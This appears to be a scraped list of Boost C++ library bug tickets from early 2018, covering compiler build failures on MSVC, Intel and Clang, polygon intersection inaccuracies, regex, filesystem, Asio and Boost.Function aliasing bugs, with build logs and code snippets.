I could build against boost 1.65.1 and earlier versions successfully with MSVC 2015, but not against boost 1.66.0 anymore with MSVC 2015 due to an error in range/concepts.hpp. Everything builds fine with MSVC 2017. The error was previously discussed here: https://groups.google.com/forum/#!topic/boost-developers-archive/g9VWZU47Khw

The detailed error is:

[4/196] Building CXX object lib\cpp\test\CMakeFiles\OpenSSLManualInitTest.dir\OpenSSLManualInitTest.cpp.obj
FAILED: lib/cpp/test/CMakeFiles/OpenSSLManualInitTest.dir/OpenSSLManualInitTest.cpp.obj
C:\PROGRA~2\MICROS~1.0\VC\bin\amd64\cl.exe   /TP -DBOOST_ALL_DYN_LINK -DBOOST_ALL_NO_LIB -DBOOST_TEST_DYN_LINK -DFORCE_BOOST_SMART_PTR -DNOMINMAX -DUSE_STD_THREAD=1 -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -Ilib\cpp\test -ID:\tmp\Debug\Shared\thrift-0.11.0\lib\cpp\test -I. -ID:\tmp\Debug\Shared\thrift-0.11.0\lib\cpp\src -I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.10240.0\ucrt" -ID:\Debug\Shared\include /MDd /Zi  -I/d/Debug/Shared/include /DDEBUG /DWINVER=_WIN32_WINNT_WIN7 /D_WIN32_WINNT=_WIN32_WINNT_WIN7  /DWIN32 /D_WINDOWS /W3 /GR /EHsc /MDd /Zi /Ob0 /Od /RTC1   /MP /W3 /FIinttypes.h -DUNICODE -D_UNICODE /showIncludes /Folib\cpp\test\CMakeFiles\OpenSSLManualInitTest.dir\OpenSSLManualInitTest.cpp.obj /Fdlib\cpp\test\CMakeFiles\OpenSSLManualInitTest.dir\ /FS -c D:\tmp\Debug\Shared\thrift-0.11.0\lib\cpp\test\OpenSSLManualInitTest.cpp
Microsoft (R) C/C++ Optimizing Compiler Version 19.00.24210 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.
D:\Debug\Shared\include\boost/range/concepts.hpp(184): error C2143: syntax error: missing ';' before '<'
D:\Debug\Shared\include\boost/range/concepts.hpp(209): note: see reference to class template instantiation 'boost::range_detail::ForwardIteratorConcept<Iterator>' being compiled
D:\Debug\Shared\include\boost/range/concepts.hpp(184): error C4430: missing type specifier - int assumed. Note: C++ does not support default-int
D:\Debug\Shared\include\boost/range/concepts.hpp(184): error C2238: unexpected token(s) preceding ';'

#13512: Starting from boost 1.67 boost build system for Intel compiler on Windows is broken.

Thu, 05 Apr 2018 07:42:07 GMT

Starting from boost 1.67 boost build system for Intel compiler on Windows is broken.

$ cd boost_1_67_0/libs/array/test
$ ../../../b2 toolset=intel-18.0
C:/Users/ikelarev/test3/boost_1_67_0/tools/build/src/tools\intel-win.jam:237: in configure-really
ERROR: rule "msvc.maybe-rewrite-setup" unknown in module "intel-win".
C:/Users/ikelarev/test3/boost_1_67_0/tools/build/src/tools\intel-win.jam:132: in configure
C:/Users/ikelarev/test3/boost_1_67_0/tools/build/src/tools\intel-win.jam:46: in intel-win.init
C:/Users/ikelarev/test3/boost_1_67_0/tools/build/src/build\toolset.jam:44: in toolset.using
C:/Users/ikelarev/test3/boost_1_67_0/tools/build/src/tools\intel.jam:32: in intel.init
C:/Users/ikelarev/test3/boost_1_67_0/tools/build/src/build\toolset.jam:44: in toolset.using
C:/Users/ikelarev/test3/boost_1_67_0/tools/build/src\build-system.jam:543: in process-explicit-toolset-requests
C:/Users/ikelarev/test3/boost_1_67_0/tools/build/src\build-system.jam:610: in load
C:\Users\ikelarev\test3\boost_1_67_0\tools\build\src/kernel\modules.jam:295: in import
C:\Users\ikelarev\test3\boost_1_67_0\tools\build\src/kernel/bootstrap.jam:139: in boost-build
C:\Users\ikelarev\test3\boost_1_67_0\boost-build.jam:17: in module scope

With boost 1.66 this error does not appear.

#13511: Boost transformation has possible bug

asksoni@… — Wed, 04 Apr 2018 18:25:58 GMT

Applying multiple transformation & translation simultaneously do not produce desired result.

For example :

Case 1 : Produces wrong result.

btr = boost::polygon::transformation<int>(boost::polygon::axis_transformation::FLIP_X);
btr += boost::polygon::transformation<int>(boost::polygon::axis_transformation::FLIP_XY);
res = boost::polygon::transform(object, btr);

Case 1 : Produces right result.

btr = boost::polygon::transformation<int>(boost::polygon::axis_transformation::FLIP_X);
res = boost::polygon::transform(object, btr);
btr = boost::polygon::transformation<int>(boost::polygon::axis_transformation::FLIP_XY);
res = boost::polygon::transform(res, btr);

#13510: Boost::intersection giving wrong results when intersection is calculated between 2 polygons in Boost-1.61, where as Boost-1.55 is giving correct results.

sumanth.kaliki@… — Wed, 04 Apr 2018 09:11:40 GMT

Hi,

When calculating intersections between 2 polygons, the boost::geometry::intersection is giving wrong results in Boost-1.61 version, where as it is giving correct results in Boost-1.55 version. Here i am attaching the code snippet

#include <boost/geometry/geometries/point_xy.hpp>
#include <boost/geometry/geometries/polygon.hpp>
#include <boost/geometry.hpp>
typedef boost::geometry::model::d2::point_xy<double> point;
typedef boost::geometry::model::ring<point> ring;
typedef boost::geometry::model::polygon<point> Polygon;
int main()
{
    Polygon p1;
    Polygon p2;
    ring r1;
    ring r2;
    r1.push_back(point(0.112, -105.2361));
    r1.push_back(point(-0.6946, -53.2131));
    r1.push_back(point(-0.2526, 0.9022));
    r1.push_back(point(86.4137, 0.8264));
    r1.push_back(point(179.5712, 0.0198));
    r1.push_back(point(180.78110000, -51.1967));
    r1.push_back(point(182.3942, -104.4295));
    r1.push_back(point(90.0432, -104.8328));
    r1.push_back(point(0.112, -105.2361));
    p1.outer() = r1;
    boost::geometry::correct(p1);
    r1.clear();
    r1.push_back(point(-10.7918213256483, 54.2140961455332));
    r1.push_back(point(113.309785590778, -17.5321453530258));
    r1.push_back(point(17.8097208933718, -86.8545273414985));
    r1.push_back(point(-72.8426247838616, -20.4407767651296));
    r1.push_back(point(-10.7918213256483, 54.2140961455332));
    r2.push_back(point(33.8071936599424, 20.2800630043229));
    r2.push_back(point(-28.7283817002881, -38.3773371397694));
    r2.push_back(point(12.4772299711817, -63.1007041426512));
    r2.push_back(point(64.8325953890491, 4.28259023775226));
    r2.push_back(point(33.8071936599424, 20.2800630043229));
    p2.inners().push_back(r2);
    p2.outer() = r1;
    boost::geometry::correct(p2);
    std::vector<Polygon> intersections;
    boost::geometry::intersection(p1, p2, intersections);
    return 0;
}

The 2nd point in the intersection result i.e 1st index in "interesections" is wrong.

there is a difference of (0.00002) which will reduce the accuracy in computations.

Boost-1.55 version: intersections[1] = (-0.66354193, -55.21624099)

Boost-1.61 version: intersections[1] = (-0.66356150523, -55.216229256)

#13509: Boost.Asio broken link in documentation

anonymous — Tue, 03 Apr 2018 15:32:27 GMT

Hi,

There is a broken link about 3rd party integration:

https://www.boost.org/doc/libs/1_66_0/doc/html/boost_asio/example/cpp11/nonblocking/third_party_lib.cpp

#13507: Build issue for Boost 1.67.0 Beta 1 with Visual Studio 2017 15.6.4 and Intel Compiler 18.0.2

Sat, 31 Mar 2018 10:12:44 GMT

It seems that intel-win.jam file is outdated in Boost 1.67.0 Beta 1 since the maybe-rewrite-setup rule has been removed from the msvc.jam file.

#13506: Bootstrap.bat fails for Microsoft Visual Studio Community 15.6.4

donald.h.ellison@… — Sat, 31 Mar 2018 03:57:22 GMT

.\bootstrap.bat fails with the following message:

cl : Command line error D8016 : '/O2' and '/RTC1' command-line options are incompatible

#13505: graph/detail/array_binary_tree.hpp:45:18: error: unknown template name 'iterator'

Fri, 30 Mar 2018 15:42:39 GMT

Discovered this when building deal.II against boost 1.67.0.b1 with Apple's Clang 9.1.0:

     2449    In file included from /Users/davydden/spack/opt/spack/darwin-highsierra-x86_64/clang-9.1.0-apple/boost-1.67.0.b1-hfpvj4kx4lur5l6i2uhlp6kwlai5rbln/include/boost/graph/cuthill_mckee_ordering.hpp:15:
     2450    In file included from /Users/davydden/spack/opt/spack/darwin-highsierra-x86_64/clang-9.1.0-apple/boost-1.67.0.b1-hfpvj4kx4lur5l6i2uhlp6kwlai5rbln/include/boost/graph/detail/sparse_ordering.hpp:18:
     2451    In file included from /Users/davydden/spack/opt/spack/darwin-highsierra-x86_64/clang-9.1.0-apple/boost-1.67.0.b1-hfpvj4kx4lur5l6i2uhlp6kwlai5rbln/include/boost/pending/mutable_queue.hpp:20:
  >> 2452    /Users/davydden/spack/opt/spack/darwin-highsierra-x86_64/clang-9.1.0-apple/boost-1.67.0.b1-hfpvj4kx4lur5l6i2uhlp6kwlai5rbln/include/boost/graph/detail/array_binary_tree.hpp:45:18: error: unknown template name 'iterator'
     2453            : boost::iterator<std::bidirectional_iterator_tag, ArrayBinaryTreeNode,
     2454                     ^

I can not use any lower version due to other issues.

#13502: Intel compiler detection under Windows failed

oley@… — Thu, 29 Mar 2018 11:31:20 GMT

BOOST_COMP_MSVC

(BOOST_COMP_INTEL && BOOST_OS_WINDOWS)

is false under Windows with Intel C++ 18 on Visual Studio 2017.

This causes problem with compilation of DLL library on alias.hpp:39

#13501: no matching function for call to 'hash_value' while compiling program with clang on osx

travis.wrightsman@… — Thu, 29 Mar 2018 11:26:49 GMT

I am getting the following error while building an external program (augustus 3.3 with CGP and sqlite support, https://circleci.com/gh/bioconda/bioconda-recipes/6507) with clang on osx:

include/boost/functional/hash/extensions.hpp:262:20: error: no matching function for call to 'hash_value'
            return hash_value(val);
                   ^~~~~~~~~~

#13499: Intel Compiler 2018 Windows error: overloaded function "boost::scope_exit::detail::deref" is not a type name

Wed, 28 Mar 2018 19:51:14 GMT

Im using the Intel Compiler 2018 from Parallel Studio XE 2018 Update 2 Composer Edition together with Visual Studio Community Edition 2015 Update 3 to build thrift, a library that uses boost 1.65.1. I start the build from the Intel Compiler console. The build fails with errors:

FAILED: lib/cpp/CMakeFiles/thrift_static.dir/src/thrift/windows/OverlappedSubmissionThread.cpp.obj
D:\bda-ci\IntelSWTools\compilers_and_libraries\windows\bin\intel64\icl.exe   /TP -DBOOST_ALL_DYN_LINK -DBOOST_ALL_NO_LIB -DBOOST_TEST_DYN_LINK -DFORCE_BOOST_SMART_PTR -DNOMINMAX -DUSE_STD_THREAD=1 -D__STDC_FORMAT_MACROS -D__STDC_LIMIT_MACROS -Ilib\cpp -ID:\Debug\Shared\thrift-0.11.0\lib\cpp -I. -ID:\Debug\Shared\thrift-0.11.0\lib\cpp\src -I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.10240.0\ucrt" -ID:\Debug\Shared\include /MDd /Zi /arch:SSE4.2  -I/d/Debug/Shared/include /DDEBUG /DWINVER=_WIN32_WINNT_WIN7 /D_WIN32_WINNT=_WIN32_WINNT_WIN7 /Qwd1744  /DWIN32 /D_WINDOWS /W3 /GR /EHsc /MDd /Zi /Ob0 /Od /RTC1   /MP /W3 /FIinttypes.h -DUNICODE -D_UNICODE -Qstd=c++11 /showIncludes /Folib\cpp\CMakeFiles\thrift_static.dir\src\thrift\windows\OverlappedSubmissionThread.cpp.obj /Fdlib\cpp\CMakeFiles\thrift_static.dir\thrift_static.pdb -c D:\Debug\Shared\thrift-0.11.0\lib\cpp\src\thrift\windows\OverlappedSubmissionThread.cpp
Intel(R) C++ Intel(R) 64 Compiler for applications running on Intel(R) 64, Version 18.0.2.185 Build 20180210
Copyright (C) 1985-2018 Intel Corporation.  All rights reserved.
D:\Debug\Shared\thrift-0.11.0\lib\cpp\src\thrift\windows\OverlappedSubmissionThread.cpp(62): error: overloaded function "boost::scope_exit::detail::deref" is not a type name
    BOOST_SCOPE_EXIT((&doneSubmittingEvent)) { SetEvent(doneSubmittingEvent.h); }
    ^
D:\Debug\Shared\thrift-0.11.0\lib\cpp\src\thrift\windows\OverlappedSubmissionThread.cpp(62): error: expected a ")"
    BOOST_SCOPE_EXIT((&doneSubmittingEvent)) { SetEvent(doneSubmittingEvent.h); }
    ^
D:\Debug\Shared\thrift-0.11.0\lib\cpp\src\thrift\windows\OverlappedSubmissionThread.cpp(62): error: expected a type specifier
    BOOST_SCOPE_EXIT((&doneSubmittingEvent)) { SetEvent(doneSubmittingEvent.h); }
    ^
D:\Debug\Shared\thrift-0.11.0\lib\cpp\src\thrift\windows\OverlappedSubmissionThread.cpp(62): error #303: explicit type is missing ("int" assumed)
    BOOST_SCOPE_EXIT((&doneSubmittingEvent)) { SetEvent(doneSubmittingEvent.h); }
    ^
D:\Debug\Shared\thrift-0.11.0\lib\cpp\src\thrift\windows\OverlappedSubmissionThread.cpp(62): error: expected a ";"
    BOOST_SCOPE_EXIT((&doneSubmittingEvent)) { SetEvent(doneSubmittingEvent.h); }
    ^
D:\Debug\Shared\thrift-0.11.0\lib\cpp\src\thrift\windows\OverlappedSubmissionThread.cpp(62): error: identifier "boost_se_capture_t_0_62" is undefined
    BOOST_SCOPE_EXIT((&doneSubmittingEvent)) { SetEvent(doneSubmittingEvent.h); }
    ^
compilation aborted for D:\Debug\Shared\thrift-0.11.0\lib\cpp\src\thrift\windows\OverlappedSubmissionThread.cpp (code 2)

I am under the impression that this error is related to boost, is that correct? Is there a workaround or solution?

#13498: Error compiling boost with Intel Compiler 2018 / Visual Studio 2015 on Windows

Wed, 28 Mar 2018 19:13:53 GMT

Im using the Intel Compiler 2018 from Parallel Studio XE 2018 Update 2 Composer Edition together with Visual Studio Community Edition 2015 Update 3 to build boost 1.65.1. I start the boost build from the Intel Compiler console. My build settings are:

bootstrap.bat \
    --with-icu="D:/Debug/Shared" \
    --with-libraries=atomic,date_time,exception,filesystem,graph,program_options,regex,test,thread --with-toolset="intel" && \
b2 \
    --prefix="D:/Debug/Shared" \
    --layout="system" \
    --debug-configuration \
    -q \
    --with-atomic --with-date_time --with-exception --with-filesystem --with-graph --with-program_options --with-regex --with-test --with-thread address-model=64 toolset="intel-18.0-vc14" \
    link=shared \
    runtime-link=shared \
    pch=off \
    architecture="x86" \
    host-os="windows" \
    target-os="windows" \
    variant=debug \
    threading=multi \
    threadapi=win32 \
    include="D:/Debug/Shared/include" \
    cflags="/FS /DDEBUG /DWINVER=_WIN32_WINNT_WIN7 /D_WIN32_WINNT=_WIN32_WINNT_WIN7 /Qwd1744 /MDd /Zi /arch:SSE4.2" \
    cxxflags="/DDEBUG /DWINVER=_WIN32_WINNT_WIN7 /D_WIN32_WINNT=_WIN32_WINNT_WIN7 /Qwd1744 /std:c++11 /MDd /Zi /arch:SSE4.2" \
    linkflags="/MACHINE:X64 /DEBUG /LIBPATH:D:/Debug/Shared/lib" \
    -sHAVE_ICU=1 \
    -sICU_PATH="D:/Debug/Shared" \
    -sICU_LINK="-LD:/Debug/Shared\\lib -licuuc -licuin -licudt" \
    -sNO_BZIP2 \
    -sNO_ZLIB \
    -sNO_LZMA \
    -j4 install

The build fails early on with errors that the compiler 'icl' is not found:

[...]
common.mkdir bin.v2\libs\system\build\intel-vc14-win-18.0\debug\address-model-64\architecture-x86\pch-off\threading-multi
compile-c-c++ bin.v2\libs\atomic\build\intel-vc14-win-18.0\debug\address-model-64\architecture-x86\pch-off\threading-multi\lockpool.obj
'icl' is not recognized as an internal or external command,
operable program or batch file.
    call "C:\Users\bdaci01\AppData\Local\Temp\b2_intel-win_18.0_iclvars_intel64 vs2015.cmd" > nul
    icl @"bin.v2\libs\atomic\build\intel-vc14-win-18.0\debug\address-model-64\architecture-x86\pch-off\threading-multi\lockpool.obj.rsp"
...failed compile-c-c++ bin.v2\libs\atomic\build\intel-vc14-win-18.0\debug\address-model-64\architecture-x86\pch-off\threading-multi\lockpool.obj...
...skipped <pbin.v2\libs\atomic\build\intel-vc14-win-18.0\debug\address-model-64\architecture-x86\pch-off\threading-multi>boost_atomic.dll for lack of <pbin.v2\libs\atomic\build\intel-vc14-win-18.0\debug\address-model-64\architecture-x86\pch-off\threading-multi>lockpool.obj...
...skipped <pD:\Debug\Shared\lib>boost_atomic.dll for lack of <pbin.v2\libs\atomic\build\intel-vc14-win-18.0\debug\address-model-64\architecture-x86\pch-off\threading-multi>boost_atomic.dll...
compile-c-c++ bin.v2\libs\date_time\build\intel-vc14-win-18.0\debug\address-model-64\architecture-x86\pch-off\threading-multi\gregorian\greg_month.obj
'icl' is not recognized as an internal or external command,
operable program or batch file.

I can build other packages fine, and I can call 'icl' from the same shell where boost complains that 'icl' is not recognized as an internal or external command, operable program or batch file.

#13497: ‘next’ is not a member of ‘boost’ in spsc_queue.hpp in 1.67

Wed, 28 Mar 2018 14:36:55 GMT

/usr/src/boost_1_67_0/boost/lockfree/spsc_queue.hpp: In member function ‘ConstIterator boost::lockfree::detail::ringbuffer_base<T>::push(ConstIterator, ConstIterator, T*, boost::lockfree::detail::ringbuffer_base<T>::size_t)’: /usr/src/boost_1_67_0/boost/lockfree/spsc_queue.hpp:140:43: error: ‘next’ is not a member of ‘boost’

const ConstIterator last = boost::next(begin, input_count);

^~

This didn't occur in boost 1.66.

#13496: ASIO: Ability to do a synchronous read with timeout on a socket

tom@… — Wed, 28 Mar 2018 07:11:19 GMT

This is a restatement of the issue #2832, in a different form.

It's clear there is an appetite to be able to perform a synchronous read with a timeout using asio. Issue #2832 raised this issue. The main objection there seemed to be the form in which the functionality was proposed. I don't think there was a fundamental objection to the requirement.

Similar functionality DOES exist on the basic_socket_streambuf. You can set an "expiry". The read functionality in that class mirrors the code in the socket_opts::sync_recv, it just adds a timeout to the poll call (though it does also remove the initial blocking wait, but that would be easy to conditionalise). To me, this gives an obvious route for implementation within the socket class.

Note that although I talk about sockets here, I suspect the same would/should apply to other forms. I have only been looking at this from a socket perspective as it's what I'm trying to do, and I have specifically been trying to solve the situation for sockets. I don't know whether this applies equally or not to other I/O types.

Note that although the boost library is called "asio", the N4656 specification is more open, and is a more general networking library description, and doesn't use "asynchronous" in its name.

Could consideration be given to this? At the moment for example, I don't believe that it's possible to use boost::asio to write something like a fully synchronous, thread-per-connection HTTP server that implemented a keepalive, since that would have to perform a blocking read for another request for the keepalive interval before terminating the connection. Now you may say, well you should be writing is asynchronously, but for some applications this much simpler model is more appropriate (low volumes of requests where each request is a POST that takes considerable time to process for example). And any general networking library ought to support being able to write such an application.

#13495: wrong comments in newline.hpp

axch@… — Wed, 28 Mar 2018 01:00:11 GMT

From newline.hpp:

const int posix             = 1;    // Use CR as line separator.
const int mac               = 2;    // Use LF as line separator.

Expected: vice versa (LF / CR).

The code seems to be correct but these comments (cited in online docs as well) are misleading.

#13494: polygon intersection fails

lehnert@… — Tue, 27 Mar 2018 13:21:11 GMT

Hello,

executing the following polygon intersection produces an empty result although the second operand is completely inside the first.

Code snippet:

using point_type = boost::geometry::model::d2::point_xy<double>; using polygon = boost::geometry::model::polygon<point_type>; using multi_polygon = boost::geometry::model::multi_polygon<polygon>;

polygon op1, op2; multi_polygon result;

boost::geometry::read_wkt("POLYGON((-1.99900000000000011 -0.889961757413527343,-1.99900000000000011 -1.12178395051169733,-1.89792526415373097 -1.49900000000000011,-1.8358086947169705 -1.49900000000000011,-1.99900000000000011 -0.889961757413527343))", op1); boost::geometry::read_wkt("POLYGON((-1.97591538973459313 -1.20793688888334905,-1.92415157993614439 -1.40112205701807624,-1.8661960316547388 -1.38559291465704759,-1.91795984145318754 -1.19240774652231996,-1.97591538973459313 -1.20793688888334905))", op2); boost::geometry::intersection(op1, op2, result);

I could track down the problem to the intersection/touch part. We use the intersection code quite heavily and such a constellation can occur frequently in our application. (I could present several more sample data for this bug). Therefore I set this to showstopper. Also I found other entries which look quite similar.

#13493: boost::regex doesn't accept a regular expression anymore

sebastian.panek@… — Mon, 26 Mar 2018 12:35:15 GMT

I recently switched from Boost 1.61 to Boost 1.66 and discovered the following problem with boost::regex in 1.66: A regular expression is recognized as erroneous, i. e. after construction boost::regex::status() returns a value != 0, but the same expression was accepted in previous boost versions. Calling boost::regex_search() with such a erroneous boost::regex object leads to a crash.

The expression is:

([0-9]*)\.([0-9]*)(\.([0-9]*)(\.([0-9]*))?)?

My C++ code looks as follows:

static const boost::regex versionRegex( "([0-9]*)\\.([0-9]*)(\\.([0-9]*)(\\.([0-9]*))?)?" );
assert( versionRegex.status() == 0 && "the regular expression must be valid" );

After switching the boost version to 1.66 the assertion above fails.

#13490: Compile error when BOOST_FIBERS_NO_ATOMICS is open

Fri, 23 Mar 2018 12:30:45 GMT

It's actually a bug about Boost::fiber but I can't find that component on bug page.

include/boost/fiber/context.hpp: ln 392:

ctx->use_count_.fetch_add( 1, std::memory_order_relaxed);

While BOOST_FIBERS_NO_ATOMICS was defined, type of ctx->use_count_ is std::size_t, which is not a object and doesn't have fetch_add method, so this line failed to compile. There are also other compile errors, like remote_ready_hook_ is not defined but used at scheduler.hpp.

full compile error is:

1>C:\HunterPackages\_Base\3e2037a\384d6ff\cd778ec\Install\include\boost/fiber/context.hpp(392): error C2228: left of '.fetch_add' must have class/struct/union
1>  C:\HunterPackages\_Base\3e2037a\384d6ff\cd778ec\Install\include\boost/fiber/context.hpp(392): note: type is 'std::size_t'
1>C:\HunterPackages\_Base\3e2037a\384d6ff\cd778ec\Install\include\boost/fiber/context.hpp(397): error C2228: left of '.fetch_sub' must have class/struct/union
1>  C:\HunterPackages\_Base\3e2037a\384d6ff\cd778ec\Install\include\boost/fiber/context.hpp(397): note: type is 'std::size_t'
1>C:\HunterPackages\_Base\3e2037a\384d6ff\cd778ec\Install\include\boost/fiber/scheduler.hpp(78): error C2039: 'remote_ready_hook_': is not a member of 'boost::fibers::context'
1>  C:\HunterPackages\_Base\3e2037a\384d6ff\cd778ec\Install\include\boost/fiber/context.hpp(131): note: see declaration of 'boost::fibers::context'
1>C:\HunterPackages\_Base\3e2037a\384d6ff\cd778ec\Install\include\boost/fiber/scheduler.hpp(78): error C2065: 'remote_ready_hook_': undeclared identifier
1>C:\HunterPackages\_Base\3e2037a\384d6ff\cd778ec\Install\include\boost/fiber/scheduler.hpp(78): error C2975: 'PtrToMember': invalid template argument for 'boost::intrusive::member_hook', expected compile-time constant expression
1>  C:\HunterPackages\_Base\3e2037a\384d6ff\cd778ec\Install\include\boost/intrusive/options.hpp(123): note: see declaration of 'PtrToMember'

#13489: boykov_kolmogorov_max_flow produces incorrect residual edge capacity

Thu, 22 Mar 2018 16:26:50 GMT

Greetings,

With some graphs, the boykov_kolmogorov_max_flow algorithm creates residual edge capacity maps with larger values than the graph edge capacities should allow.

I have attached code that creates a small graph to demonstrate this issue and the GraphViz plot of the automatically-generated .dot graph file for easy visual inspection of the results.

In the attached GraphViz plot, each edge is labeled with (residual capacity)/(capacity). The residual capacity should never be greater than the capacity. Thus, the labels "1/0" and "101/100" are in error.

I have run this test in Boost 1.54, 1.66, and 1.67.

#13488: Detect ICU with pkg-config when possible in bootstrap.sh

anonymous — Thu, 22 Mar 2018 12:24:20 GMT

bootstrap.sh has some auto-detection code for ICU for the needs of Boost.Regex. It fails to detect ICU installed with the standard package manager on certain Linux distributions, e.g. Ubuntu 14.04. The issue does not exist on newer versions of Ubuntu.

The solution is to use more robust detection of ICU with the help of pkg-config.

The patch is provided on Github on the metaproject.

#13487: Error detecting is_nothrow_move_constructible & is_nothrow_move_assignable

Mon, 19 Mar 2018 10:10:30 GMT

The current type trait implementation of Boost.Move doesn't detect nothrow move construction or assignment.

While boost/move/detail/type_traits.hpp defines many macros such as BOOST_MOVE_HAS_NOTHROW_COPY, it never defines BOOST_MOVE_HAS_NOTHROW_MOVE or BOOST_MOVE_HAS_NOTHROW_MOVE_ASSIGN for any compiler. As a result, boost::move:detail::is_nothrow_move_constructible and is_nothrow_move_assignable fallback to boost::move_detail::is_pod<T>::value which is incorrect for any non-POD type.

In my particular instance the result is that boost::circular_buffer chooses copy instead of move in boost::move_if_noexcept() for std::weak_ptr (which is nothrow move constructible and assignable), which in turn results in >10x worse performance of functions such as boost::circular_buffer::erase() in some conditions. It is possible to work around this by manually specializing boost::has_nothrow_move<std::weak_ptr>, but this is not a practical workaround. Another workaround would be to define the trait macros via compiler switches but this is clearly not the intended behavior as all other macros are defined in the header, and it might not be practical as some helper traits may need to be defined too (see libstdc++ implementation below).

I propose fixing this issue by defining BOOST_MOVE_HAS_NOTHROW_MOVE and BOOST_MOVE_HAS_NOTHROW_MOVE_ASSIGN for all compilers that support move semantics. libstdc++ seems to have the most correct and portable way of doing this - without using compiler intrinsics:

  template<typename _Tp, typename... _Args>
    struct __is_nt_constructible_impl
    : public integral_constant<bool, noexcept(_Tp(declval<_Args>()...))>
    { };
  template<typename _Tp, typename _Arg>
    struct __is_nt_constructible_impl<_Tp, _Arg>
    : public integral_constant<bool,
                               noexcept(static_cast<_Tp>(declval<_Arg>()))>
    { };
  template<typename _Tp, bool = __is_referenceable<_Tp>::value>
    struct __is_nothrow_move_constructible_impl;
  template<typename _Tp>
    struct __is_nothrow_move_constructible_impl<_Tp, false>
    : public false_type { };
  template<typename _Tp>
    struct __is_nothrow_move_constructible_impl<_Tp, true>
    : public is_nothrow_constructible<_Tp, _Tp&&>
    { };
  template<typename _Tp, typename _Up>
    struct __is_nt_assignable_impl
    : public integral_constant<bool, noexcept(declval<_Tp>() = declval<_Up>())>
    { };
  template<typename _Tp, bool = __is_referenceable<_Tp>::value>
    struct __is_nt_move_assignable_impl;
  template<typename _Tp>
    struct __is_nt_move_assignable_impl<_Tp, false>
    : public false_type { };
  template<typename _Tp>
    struct __is_nt_move_assignable_impl<_Tp, true>
    : public is_nothrow_assignable<_Tp&, _Tp&&>
    { };

Visual Studio 14.0's implementation uses the intrinsics __is_nothrow_constructible(T, Args...) and __is_nothrow_assignable(To, From) that are passed an rvalue-reference as the second argument to detect move operations. Sadly, I can't seem to find any documentation on these intrinsics so it might be better to stick to pure C++ for all compilers (or maybe i'm just not looking in the right places).

It might also be a good idea to replace the fallback to boost::move_detail::is_pod<T> with more specific and inclusive is_trivially_copy_constructible<T>, is_trivially_copy_assignable<T> type traits.

#13485: parent_path() edge case returns wrong result on Windows

Sat, 17 Mar 2018 04:56:11 GMT

The path "C:
", while unusual, is legal in Windows and equivalent to "C:\". According to the path decomposition table, that means that

parent_path(L"C:\\\\")

should return "C:". However, it returns "C:\".

The same is true for every variation with more than one trailing separator (preferred or generic).

#13484: exists doesn't clear no_such_file_or_directory type of error codes

Sat, 17 Mar 2018 01:47:44 GMT

Windows 10, MSVC 19.13.26128.

exists() fails when it successfully determines that a file doesn't exist (i.e. it sets the error code to ERROR_FILE_NOT_FOUND or throws in the throwing version). According to the reference and the tutorial example, that should not happen.

Code example:

        boost::filesystem::path p("c:\\filethatdoesntexist");
	boost::system::error_code ec;
	bool doesExist = boost::filesystem::exists(p, ec);
	if (ec == boost::system::errc::no_such_file_or_directory) {
		std::cout << "shouldn't happen!\n";
	}

Note that for existing files, exists() works as expected.

#13482: Referenced file in {.tar.gz,.tar.bz2}.json of official source distribution downloads is wrong

t.klatt.oss+boost@… — Thu, 15 Mar 2018 13:45:57 GMT

The official source distribution files (.tar.gz, .tar.bz2, .zip, .7z) provided at https://dl.bintray.com/boostorg/release/1.66.0/source/ are accompanied by .json files holding meta information as the actual source distribution file name and the SHA256 of the source distribution file.

However, at least boost_1_66_0.tar.gz.json and boost_1_66_0.tar.bz2.json reference the data files for the RC2 of 1.66.0.

This makes it impossible to use the JSON files as source for script-based downloads and verification of the Boost source distribution.

#13481: Strict aliasing is causing SIGSEGV on ARM Cortex-A15 when using GCC6

Wed, 14 Mar 2018 08:43:54 GMT

Hello, I've been tracking a crach after upgrading GCC to 6.4 which was caused by corruption of the object stored inside boost::function.

I think that the root cause for this is in the function_buffer storage. You see, there is a char member there with the intention of "relax aliasing constraints" as it states in the comment but if my understanding of the standard is correct, it doesn't really do that. Quote from the C++:

If a program attempts to access the stored value of an object through a glvalue of other than one of the
following types the behavior is undefined: 52
— the dynamic type of the object,
— a cv-qualified version of the dynamic type of the object,
— a type similar (as defined in 4.4) to the dynamic type of the object,
— a type that is the signed or unsigned type corresponding to the dynamic type of the object,
— a type that is the signed or unsigned type corresponding to a cv-qualified version of the dynamic type
of the object,
— an aggregate or union type that includes one of the aforementioned types among its elements or non-
static data members (including, recursively, an element or non-static data member of a subaggregate
or contained union),
— a type that is a (possibly cv-qualified) base class type of the dynamic type of the object,
— a char or unsigned char type.

There is indeed a char type along other things that may be aliased safely, but function_buffer is an union with char member so it falls into:

an aggregate or union type that includes one of the **aforementioned** types

so the function_buffer itself can't be aliased. There was similar bug on GCC: 77686 (I'm unable to put links here) which was fixed by applying may_alias attribute on their function_buffer counterpart. Seems reasonable but after applying it to function_buffer it was still failing but after reading GCC docs I think I've found out why:

may_alias
Accesses through **pointers to types** with this attribute are not subject to type-
based alias analysis, but are instead assumed to be able to alias any other type
of objects. In the context of section 6.5 paragraph 7 of the C99 standard, an
lvalue expression dereferencing such a pointer is treated like having a character
type.

and there is BOOST_FUNCTION_FUNCTION::move_assign function which does:

if (this->has_trivial_copy_and_destroy())
    this->functor = f.functor;

and as it doesn't operate on the pointers, may_alias seems to be simply ignored. So two things seems to fixing it (I hope they fix it, since the bug if quite "delicate" and it's easy to hide it by changing the code that doesn't seem relevant):

1) use gnu::may_alias on function_buffer and assign it trough some helper like this instead of unions assign operator:

template<class T> void alias_safe_assign(T & dst, T & src)
{
    dst = src;
}

there is Richard's comment on GCC bugtracker: 77686#c12 where he's noted about std::swap having a references so it seems to matter.

2) operate on data member directly since it has relaxed aliasing requirements by being a char. This doesn't even require GNU extensions.:

std::memcpy(this->functor.data, f.functor.data, sizeof(boost::detail::function::function_buffer));

Of course, putting a may_alias on the functor type itself (the one that I'm assigning to boost::function object) or putting this type into function_buffer also fixes this.

I'm compiling the attached testcase using

arm-cortexa15-linux-gnueabihf-g++ (GCC) 6.4.1 20170811

and -O2 -fPIC

Br, Piotr.

#13477: Initializing boost::asio socket after constructor failed

nguyen.tnhoang@… — Tue, 13 Mar 2018 07:24:42 GMT

